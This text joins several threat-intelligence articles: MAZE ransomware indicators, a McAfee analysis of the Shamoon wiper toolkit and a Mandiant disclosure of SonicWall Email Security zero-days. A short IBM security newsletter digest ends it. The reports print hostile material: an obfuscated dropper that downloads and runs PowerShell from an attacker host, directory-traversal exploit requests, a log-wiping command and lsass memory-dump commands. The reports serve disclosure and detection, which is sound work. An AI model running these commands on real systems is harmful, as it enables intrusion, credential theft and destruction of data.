C:\\windows\\temp\\[MAZE binary name]\" && exit\" goto end :down rem Report machine down echo %1 >> offline.txt :end Example MAZE distribution script Indicators of Compromise Maze Payloads 064058cf092063a5b69ed8fd2a1a04fe 0f841c6332c89eaa7cac14c9d5b1d35b 108a298b4ed5b4e77541061f32e55751 11308e450b1f17954f531122a56fae3b 15d7dd126391b0e7963c562a6cf3992c 21a563f958b73d453ad91e251b11855c 27c5ecbb94b84c315d56673a851b6cf9 2f78ff32cbb3c478865a88276248d419 335aba8d135cc2e66549080ec9e8c8b7 3bfcba2dd05e1c75f86c008f4d245f62 46b98ee908d08f15137e509e5e69db1b 5774f35d180c0702741a46d98190ff37 5df79164b6d0661277f11691121b1d53 658e9deec68cf5d33ee0779f54806cc2 65cf08ffaf12e47de8cd37098aac5b33 79d137d91be9819930eeb3876e4fbe79 8045b3d2d4a6084f14618b028710ce85 8205a1106ae91d0b0705992d61e84ab2 83b8d994b989f6cbeea3e1a5d68ca5d8 868d604146e7e5cb5995934b085846e3
87239ce48fc8196a5ab66d8562f48f26 89e1ddb8cc86c710ee068d6c6bf300f4 910aa49813ee4cc7e4fa0074db5e454a 9eb13d56c363df67490bcc2149229e4c a0c5b4adbcd9eb6de9d32537b16c423b a3a3495ae2fc83479baeaf1878e1ea84 b02be7a336dcc6635172e0d6ec24c554 b40a9eda37493425782bda4a3d9dad58 b4d6cb4e52bb525ebe43349076a240df
b6786f141148925010122819047d1882 b93616a1ea4f4a131cc0507e6c789f94 bd9838d84fd77205011e8b0c2bd711e0 be537a66d01c67076c8491b05866c894
bf2e43ff8542e73c1b27291e0df06afd c3ce5e8075f506e396ee601f2757a2bd
d2dda72ff2fbbb89bd871c5fc21ee96a d3eaab616883fcf51dcbdb4769dd86df d552be44a11d831e874e05cadafe04b6 deebbea18401e8b5e83c410c6d3a8b4e dfa4631ec2b8459b1041168b1b1d5105
e57ba11045a4b7bc30bd2d33498ef194 e69a8eb94f65480980deaf1ff5a431a6 ef95c48e750c1a3b1af8f5446fa04f54 f04d404d84be66e64a584d425844b926 f457bb5060543db3146291d8c9ad1001 f5ecda7dd8bb1c514f93c09cea8ae00d f83cef2bf33a4d43e58b771e81af3ecc fba4cbb7167176990d5a8d24e9505f71 Maze Check-in IPs 91.218.114.11
91.218.114.25 91.218.114.26
91.218.114.31 91.218.114.32 91.218.114.37 91.218.114.38
91.218.114.4 91.218.114.77 91.218.114.79 92.63.11.151 92.63.15.6 92.63.15.8 92.63.17.245 92.63.194.20 92.63.194.3 92.63.29.137 92.63.32.2 92.63.32.52 92.63.32.55 92.63.32.57 92.63.37.100
92.63.8.47 Maze-related Domains aoacugmutagkwctu[.
]onion mazedecrypt[.
]top mazenews[.
]top newsmaze[.
]top Maze Download URLs http://104.168.174.32/wordupd_3.0.1.tmp http://104.168.198.208/wordupd.tmp http://104.168.201.35/dospizdos.tmp http://104.168.201.47/wordupd.tmp http://104.168.215.54/wordupd.tmp http://149.56.245.196/wordupd.tmp http://192.119.106.235/mswordupd.tmp http://192.119.106.235/officeupd.tmp http://192.99.172.143/winupd.tmp http://54.39.233.188/win163.65.tmp http://91.208.184.174:8079/windef.exe http://agenziainformazioni[.
]icu/wordupd.tmp http://www.download-invoice[.
]site/Invoice_29557473.exe Malicious Documents 1a26c9b6ba40e4e3c3dce12de266ae10 53d5bdc6bd7904b44078cf80e239d42b 79271dc08052480a578d583a298951c5 a2d631fcb08a6c840c23a8f46f6892dd ad30987a53b1b0264d806805ce1a2561 c09af442e8c808c953f4fa461956a30f ee26e33725b14850b1776a67bd8f2d0a BEACON C2s 173.209.43.61 193.36.237.173 37.1.213.9 37.252.7.142 5.199.167.188 checksoffice[.
]me drivers.updatecenter[.
]icu plaintsotherest[.
]net thesawmeinrew[.
]net updates.updatecenter[.
]icu Cobalt Strike Binaries 7507fe19afbda652e9b2768c10ad639f a93b86b2530cc988f801462ead702d84 4f57e35a89e257952c3809211bef78ea bad6fc87a98d1663be0df23aedaf1c62
f5ef96251f183f7fc63205d8ebf30cbf c818cc38f46c604f8576118f12fd0a63 078cf6db38725c37030c79ef73519c0c c255daaa8abfadc12c9ae8ae2d148b31 1fef99f05bf5ae78a28d521612506057 cebe4799b6aff9cead533536b09fecd1 4ccca6ff9b667a01df55326fcc850219 bad6fc87a98d1663be0df23aedaf1c62
Meterpreter C2s 5.199.167.188 Other Related Files 3A5A9D40D4592C344920DD082029B362 (related script)
76f8f28bd51efa03ab992fdb050c8382 (MAZE execution artifact) b5aa49c1bf4179452a85862ade3ef317 (windows.bat kill script) fad3c6914d798e29a3fd8e415f1608f4 (related script) Tools & Utilities 27304b246c7d5b4e149124d5f93c5b01 (PsExec) 42badc1d2f03a8b1e4875740d3d49336 (7zip) 75b55bb34dac9d02740b9ad6b6820360 (PsExec) 9b02dd2a1a15e94922be3f85129083ac (AdFind) c621a9f931e4ebf37dace74efcce11f2 (SMBTools) f413b4a2242bb60829c9a470eea4dfb6 (winRAR) Email
Sender Domains att-customer[.
]com att-information[.
]com
att-newsroom[.
]com att-plans[.
]com bezahlen-1und1[.
]icu bzst-info[.
]icu bzst-inform[.
]icu bzstinfo[.
]icu bzstinform[.
]icu canada-post[.
]icu canadapost-delivery[.
]icu canadapost-tracking[.
]icu hilfe-center-1und1[.
]icu hilfe-center-internetag[.
]icu trackweb-canadapost[.
]icu Sender Domain Registrant Addresses abusereceive@hitler.rocks
gladkoff1991@yandex.ru Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m.
PT / 11 a.m.
ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees.
Register today to reserve your spot.
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By Thomas Roccia , Jessica Saavedra-Morales and Christiaan Beek on Dec 19, 2018 Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe.
In that analysis we discussed one difference to previous Shamoon campaigns.
The latest version has a modular approach that allows the wiper to be used as a standalone threat.
After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.
In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill.
In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec .
These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week.
The latest Shamoon appears to be part of a toolkit with several modules.
We identified the following modules: OCLC.exe: Used to read a list of targeted computers created by the attackers.
This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
Spreader.exe: Used to spread the file eraser in each machine previously set.
It also gets information about the OS version.
SpreaderPsexec.exe:
Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
SlHost.exe:
The new wiper, which browses the targeted system and deletes every file.
The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net.
This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks.
In our last post, we observed that Shamoon is a modular wiper that can be used by other groups.
With these recent attacks, this supposition seems to be confirmed.
We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.
This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.
Geopolitical context The motivation behind the attack is still unclear.
Shamoon Version 1 attacked just two targets in the Middle East.
Shamoon Version 2 attacked multiple targets in Saudi Arabia.
Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.
Inside the .Net wiper, we discovered the following ASCII art: These characters resemble the Arabic text تَبَّتْ يَدَا
أَبِي لَهَبٍ وَتَبَّ.
This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.”
What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?
Overview of the attack How did the malware get onto the victim’s network?
We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings.
For example: Hxxp://possibletarget.ddns.com:880/JobOffering.
Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East.
Some of these sites contained malicious HTML application files that execute other payloads.
Other sites lured victims to login using their corporate credentials.
This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.
A code example from one malicious HTML application file: YjDrMeQhBOsJZ =
“WS”
wcpRKUHoZNcZpzPzhnJw =
“crip” RulsTzxTrzYD = “t.Sh” MPETWYrrRvxsCx =
“ell” PCaETQQJwQXVJ =
(YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx) OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)
ULRXZmHsCORQNoLHPxW = “cm” zhKokjoiBdFhTLiGUQD =
“d.e” KoORGlpnUicmMHtWdpkRwmXeQN = “xe” KoORGlpnUicmMHtWdp = “.”
KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’) OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\\\System32\\\\’ + FKeRGlzVvDMH + ‘ /c
powershell -w 1 IEX (New-Object Net.
WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp) OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\\\System32\\\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc
The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location.
From another location, it loads a second file to execute.
We discovered one of the PowerShell scripts.
Part of the code shows they were harvesting usernames, passwords, and domains: function primer { if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\\SYSTEM”}else{$u=$env:username} $o=”$env:userdomain\\$u $env:computername $env:PROCESSOR_ARCHITECTURE
With legitimate credentials to a network it is easy to login and spread the wipers.
.Net
tool kit
The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.
This first component (OCLC.exe) reads two text files stored in two local directories.
Directories “shutter” and “light” contain a list of targeted machines.
OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.
The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version.
It first checks the Windows version of the targeted computers.
The spreader places the executable files (Shamoon and Filerase) into the folder Net2.
It creates a folder on remote computers: C:\\\\Windows\\System32\\Program Files\\Internet Explorer\\Signing.
The spreader copies the executables into that directory.
It runs the executables on the remote machine by creating a batch file in the administrative share \\\\RemoteMachine\\admin$\\\\process.bat.
This file contains the path of the executables.
The spreader then sets up the privileges to run the batch file.
If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version.
This can be used by the attackers to track any issues in the spreading process.
The following screenshot shows the “execute” function: If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.
To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.
The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine.
It could be used on additional machines to move the malware further.
The wiper contains three options: SilentMode:
Runs the wiper without any output.
BypassAcl: Escalates privileges.
It is always enabled.
PrintStackTrace:
Tracks the number of folders and files erased.
The BypassAcl option is always “true” even if the option is not specified.
It enables the following privileges : SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege To find a file to erase, the malware uses function GetFullPath to get all paths.
It erases each folder and file.
The malware browses every file in every folder on the system.
To erase all files and folders, it first removes the “read only’ attributes to overwrite them.
It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.
The malware rewrites each file two times with random strings.
It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.
Then it uses FILE_DISPOSITION_INFORMATION to delete the files.
The function ProcessTracker has been coded to track the destruction.
Conclusion In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks.
Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks.
The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.
Attributing this attack is difficult because we do not have all the pieces of the puzzle.
We do see that this attack is in line with the Shamoon Version 2 techniques.
Political statements have been a part of every Shamoon attack.
In Version 1, the image of a burning American flag was used to overwrite the files.
In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen.
Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.
When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report ), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.
Coverage The files we detected during this incident are covered by the following signatures: Trojan-Wiper RDN/Generic.dx RDN/Ransom Indicators of compromise Hashes OCLC.exe: f972d776d7dabf9f978dc4cc4f69d88e715541ff Spreader.exe: 0104e42d1d6522f6170ca4aa42fcbf70f7390a74 SpreaderPsexec.exe: cb8faa97e94c3c60b680e28eb6a2d3910d1ce466 Slhost.exe: 3eab7112e94f9ec1e07b9ae4696052a7cf123bba File paths and filenames C:\\net2\\ C:\\all\\ C:\\net4\\ C:\\windows\\system32\\
C:\\\\Windows\\System32\\Program Files\\Internet Explorer\\Signing \\\\admin$\\process.bat NothingFound.txt MaintenaceSrv32.exe MaintenaceSrv64.exe SlHost.exe OCLC.exe Spreader.exe SpreaderPsexec.exe
Some command lines cmd.exe /c “”C:\\Program Files\\Internet Explorer\\signin\\MaintenaceSrv32.bat cmd.exe /c
“ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\\windows\\system32\\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv MaintenaceSrv32.exe
LocalService cmd.exe /c
“”C:\\Program Files\\Internet Explorer\\signin\\MaintenaceSrv32.bat ” “ MaintenaceSrv32.exe service
In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild.
These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device.
The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.
The vulnerabilities are being tracked in the following CVEs: CVE-2021-20021 9.8 Unauthorized administrative account creation CVE-2021-20022 7.2 Post-authentication arbitrary file upload CVE-2021-20023 4.9 Post-authentication arbitrary file read Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information.
SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users.
SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes.
The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.
More information can be found by visiting the KB article published by SonicWall.
All patches, upgrades, and hotfixes are available to download on the MySonicWall site .
Overview Figure 1: SonicWall Email Security ecosystem overview (via SonicWall )
SonicWall Email Security (ES) is an email security solution that “ provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC) .”
The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.
Figure 2: Sample SonicWall Email Security login page Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration.
Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java.
While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.
Investigation In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment.
Managed Defense isolated the system and collected evidence to determine how the system was compromised.
The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation.
The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES.
Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.
When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation.
To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.
We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell.
The adversary executed the following command, shortly after installing the web shell: cmd.exe /c \"echo \"\" > \"C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json
Figure 3:
The Adversary clearing existing entries in the current “webui.json” log This command deleted the most recent application-level log entries recorded by the SonicWall ES web application.
While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers.
This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.
Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.
Vulnerabilities CVE-2021-20021 Unauthenticated administrative access through improperly secured API endpoint The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities.
One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).
https://<SonicWall ES host>/createou?data=<XML HERE>
Figure 4:
A redacted example of the vulnerable endpoint associated with arbitrary user creation Requests to this form, however, were not verified to require previous authentication to the appliance.
Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4).
This account could then be used to authenticate to the application as an administrator.
CVE-2021-20022 Arbitrary file upload through post-authenticated “branding” feature Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as \"branding\" which gives administrators the ability to customize and add certain assets to the interface, such as company logos.
These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings.
A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.
Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\\data\\branding directory.
However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.
Figure 5:
Example ZIP archive containing a Zip Slip web shell
It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security.
As detailed in Snyk's research on the topic , they exist within the many code libraries from which applications have been built.
CVE-2021-20023 Directory-traversal leads to arbitrary file read in post-authenticated \"branding\" feature Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in \"branding\" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource.
Figure 6 demonstrates the formatting of such request.
https://<SonicWall ES host>/dload_apps?action=<any value>&path=..
%2F..
%2F..
%2F
..%2F..%2Fwindows%2Fsystem32%2Fcalc.exe&id=update Figure 6:
An example web request which results in downloading the Windows calculator While the working directory of this branding feature is <SonicWall ES install path>\\data\\updates , a directory-traversal vulnerability allows an adversary to access files located outside of this directory.
As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\\SYSTEM account, any file on the operating system can be accessed.
Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions: Creation of a new Administrator account on the SonicWall ES device Exposure of the hashed passwords for existing, locally configured Administrative accounts The creation of a web shell in an arbitrary directory Real-time debugging of exploitation success and
failure Post-Exploitation Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps , a component of the application's \"branding\" feature, exploiting CVE-2021-20023.
These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\\data\\multi_accounts.xml and <SonicWall ES install path>\\data\\multi_ldap.xml , respectively (Figure 7).
GET /dload_apps?action=REDACTED&path=..%2Fmulti_accounts.xml&id=update GET /dload_apps?action=REDACTED&path=..
%2Fmulti_ldap.xml&id=update Figure 7: HTTP GET requests exploiting CVE-2021-20023
These files contained details about existing accounts as well as Active Directory credentials used by the application.
Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's \"branding\" page.
The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES
install path>\\Apache
Software Foundation\\Tomcat 9.0\\webapps\\SearchEngineRMIService\\ .
BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications.
In principle, BEHINDER operates similarly to CHINA CHOPPER , a popular web shell that has been previously detailed by FireEye.
Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests.
As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).
Figure 8:
The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\\SYSTEM account.
After clearing the SonicWall application “ webui.json ” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network.
The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.
We observed the adversary executing the reg save command to dump the HKLM\\SAM , HKLM\\SYSTEM , and HKLM\\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets.
Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques.
The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.
rundll32.exe C:\\windows\\system32\\comsvcs.dll, MiniDump <lsass PID> c:\\windows\\temp\\TS_LAS.dmp full rundll32.exe C:\\windows\\system32\\comsvcs.dll MiniDump <Tomcat PID> C:\\windows\\temp\\TS_FF9DG.dmp full Figure 9:
The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency.
As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary.
While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\\ drive in the second—suggest that they were manually typed.
Considering that the C:\\Windows\\Temp\\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.
Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\\data\\archive\\ .
This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.
After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier.
At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.
We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI).
The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.
Attribution Mandiant currently tracks this activity as UNC2682.
Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.
Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to.
At times, we do not have the data available to directly attribute intrusion activity to a previously known group.
In these cases, we create a new UNC group to track the activity that we observed.
An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.
For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors .
Investigation & Monitoring Tips Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise: Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe The creation or existence of web shells on a server hosting SonicWall Email Security
In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.
Evidence of malicious web requests and their values may be identifiable in the following log files: The Apache Tomcat logs: C:\\Program Files\\SonicWallES\\Apache Software Foundation\\Tomcat 9.0\\logs
The SonicWall application logs: C:\\Program Files\\SonicWallES\\logs\\webUI\\webui.json Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files: The administration user account file: C:\\Program Files\\SonicWallES\\data\\multi_accounts.xml
Additional user account files that may have been created in the following directories:
C:\\Program Files\\SonicWallES\\data\\perhost C:\\Program Files\\SonicWallES\\data\\perldap C:\\Program Files\\SonicWallES\\data\\perou Branding related zip files in any of the subdirectories of the following directory: C:\\Program Files\\SonicWallES\\data\\branding Detecting the Techniques FireEye detects this activity across our platforms.
The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.
Product Signature FireEye Endpoint Security RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY) SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY) WEB SERVER ECHO REDIRECT (METHODOLOGY) WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY)
FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning FE_PUP_Exploit_Linux_ZipSlip_1 FE_Exploit_Win_ZipSlip_1 FE_Trojan_ZIP_Generic_1 FE_Webshell_JSP_BEHINDER_1 FEC_Webshell_JSP_BEHINDER_1 Webshell.
JSP.BEHINDER Webshell.
JSP.BEHINDER.MVX FireEye Helix METHODOLOGY - LFI [Null-Byte URI] WMIEXEC UTILITY [Args] WINDOWS METHODOLOGY [Unusual Web Server Child Process]
Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities.
The following signatures have already been applied to SonicWall firewalls with active security subscriptions: IPS Signature : 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
IPS Signature : 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7 IPS Signature : 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2 Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation .
VID Name A101-563 Malicious File Transfer - BEHINDER, Download, Variant #1 A101-566 Web Shell Activity - BEHINDER, Basic Shell Interaction A101-564 Malicious File Transfer - Zip Slip, Download, EICAR Variant A101-565 Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure Vulnerability Disclosure Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021.
The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021.
The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.
Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021.
The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.
To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances).
Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.
Acknowledgements SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.
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Cybersecurity careers are a buzzy topic lately, with more people needed and salaries competitive.
How do you make yourself stand out in this field and find a career you both love and do well?
Meanwhile, when you’re not working you may very well be making a new streaming account to escape after a long day.
The pandemic has changed our streaming habits — and we need to be sure that doesn’t increase our risk at home.
This month’s insights also include what an expert thinks are the most pressing worries in the field today, a primer on zero trust and more.
Check out our top advice and news from June.
Quick Briefs:
Top Insights From June 3-Minute Read 🕒 Zero Trust or Bust: What It Is and Why It Matters to Data Security Zero trust wraps around other digital defense efforts like a moat, protecting your valuable data inside.
This piece is a top-level look at what zero trust is for and what use cases might call for it.
For example, if you’re using a lot of remote employees or a lot of different access rights, zero trust can make your defenses simpler.
After all, it assumes everyone is a potential threat.
3-Minute Read 🕒
What’s Behind Rising Ransomware Costs?
It’s a vicious cycle: more and more companies are willing to pay million dollar ransoms to high-end threat actors.
Then, these attackers see more potential for ill-gotten gains.
The rising costs of ransomware come from this cycle.
See why it’s often best not to pay a ransom if you’re targeted.
Instead, we lay out the best ways to make sure ransomware attackers can’t get inside your systems far enough to launch an attack in the first place.
4-Minute Read 🕒 Cybersecurity Certifications:
Take Your Career to the Next Level Cybersecurity certifications can often boost a career faster than a degree, showing you know how to use your skills in the real world.
Is a certification the right next step for your career?
Our guide gives you a framework for exploring what you want out of your work in this field.
In addition, take a look at which certifications are the most highly-respected and which organizations offer legitimate and practical certification programs.
Worth Your While: In-Depth Coverage To Sharpen Your Skills & Tighten Security 4-Minute Read 🕒 Why a Phishing Attack Is Still Profitable —
And How To Stop One Attackers are dangling a lot of hooks and bait in the water.
Phishing, a staple of internet scams since nearly the dawn of the internet itself, is still a popular and profitable angle for threat actors.
In particular, they’re using spear-phishing to target executives.
Learn how to educate employees on the signs of a phishing attack.
In addition, see how protections like two-factor authentication can reduce the risk.
5-Minute Read 🕒 Surge of New Digital Accounts During the Pandemic Leads to Lingering Security Side Effects I don’t know about you, but I started watching some TV shows outside my usual fare during the pandemic.
All that “Star Trek” was already on a service I subscribe to, so I didn’t need to create a new username and password.
But a lot of people during the pandemic did, making the summer after a very long winter a good time to revisit your passwords.
Do you use the same one on multiple services?
And, how does this apply to the way employees log in to your organization?
4-Minute Read 🕒
The Hottest Cybersecurity Must-Reads for the Busy Security Practitioner IBM prepared a variety of assessments and resources for cybersecurity practitioners looking to make structural changes.
See step-by-step guides to finding out where you are on your cloud journey (and how to secure the cloud).
Gain insights into what threat actors are thinking.
And learn how to pass that information on to other members of your organization with authority.
